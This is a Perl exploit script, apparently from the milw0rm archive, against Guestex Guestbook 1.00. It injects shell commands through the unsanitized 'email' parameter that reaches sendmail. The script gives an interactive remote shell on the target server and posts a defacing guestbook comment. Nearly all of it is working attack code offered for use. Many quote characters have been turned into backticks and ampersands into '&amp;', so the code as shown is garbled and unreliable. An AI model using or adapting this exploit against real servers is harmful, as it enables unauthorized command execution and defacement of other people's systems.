Guestex Guestbook 1.00 (email) Remote Code Execution Exploit## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
##  1.00 (06/07/2006) - GUESTEX-exec.pl created
## 
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it 
##  handles it's 'email' parameter. $form{'email'} is used when openning a pipe to 
##  sendmail in this manner: open(MAIL, `$sendmail $form{'email'}) where $form{'email'} 
##  is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can 
##  contain ports (host:port) and you CAN specify a single command to execute via the 
##  commandline, although if you do not you will be given a shell like interface to 
##  repeatedly enter commands.
#######################################################################################
use IO::Socket;
use strict;

my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || `YOUR SITE OWNS!\n`;

if (!($host && $location)) { 
	die(`-!> perl $0 <host[:port]> <location> [command] [comment]\n`);
}

$port = $1  if ($host =~ m/:(\d+)/);

while (1) { 
	my $switch = 0;
	if (!($ARGV[2])) {
		print 'guestex-shell$ ';
		chomp($command = <STDIN>);
	}

	my $cmd = `;echo --1337 start-- ;$command; echo --1337 end--`;
	$cmd =~ s/(.)/sprintf(`%%%x`, ord($1))/ge;

	my $POST = `POST $location HTTP/1.1\r\n`  		             .
	           `Host: $host\r\n`                                         .
		   `User-Agent: mozilla\r\n`                                 .
	           `Content-type: application/x-www-form-urlencoded\r\n`     .
		   `Content-length: ` . length(`surname=ax0r&amp;nationality=american&amp;country of residence=USA&amp;preview=no&amp;action=add&amp;name=ax0r&amp;site=ax0r net&amp;url=www.ax0r.net&amp;location=atlanta,ga&amp;rating=10&amp;comment=$comment&amp;email=ax0r\@yahoo.com$cmd`) . `\r\n` . 
		   `Referer: $host\r\n\r\n`;
	
	$POST .= `surname=ax0r&amp;nationality=american&amp;country of residence=USA&amp;preview=no&amp;action=add&amp;name=ax0r&amp;site=ax0r net&amp;url=www.ax0r.net&amp;location=atlanta,ga&amp;rating=10&amp;comment=$comment&amp;email=ax0r\@yahoo.com$cmd`;
	
	$sock = IO::Socket::INET->new('PeerAddr' => `$host`,
        	                      'PeerPort' => $port,
                	              'Proto'    => 'tcp',
				      'Type'     => SOCK_STREAM) or die (`-!> unable to connect to '$host:$port': $!\n`);

	$sock->autoflush();

	print $sock `$POST`;

	#$switch = 1; # used for debugging if you think 'echo' might not be working, etc
	 
	while (my $line = <$sock>) {
		if ($line =~ m/^\-\-1337\ start\-\-$/) {
			$switch = 1;
			next;
		}
		if ($line =~ m/^\-\-1337\ end\-\-$/) {
			close($sock);
			last;
		}
		print $line if $switch;
	}
	exit if $ARGV[2];
}

# milw0rm.com [2006-06-08]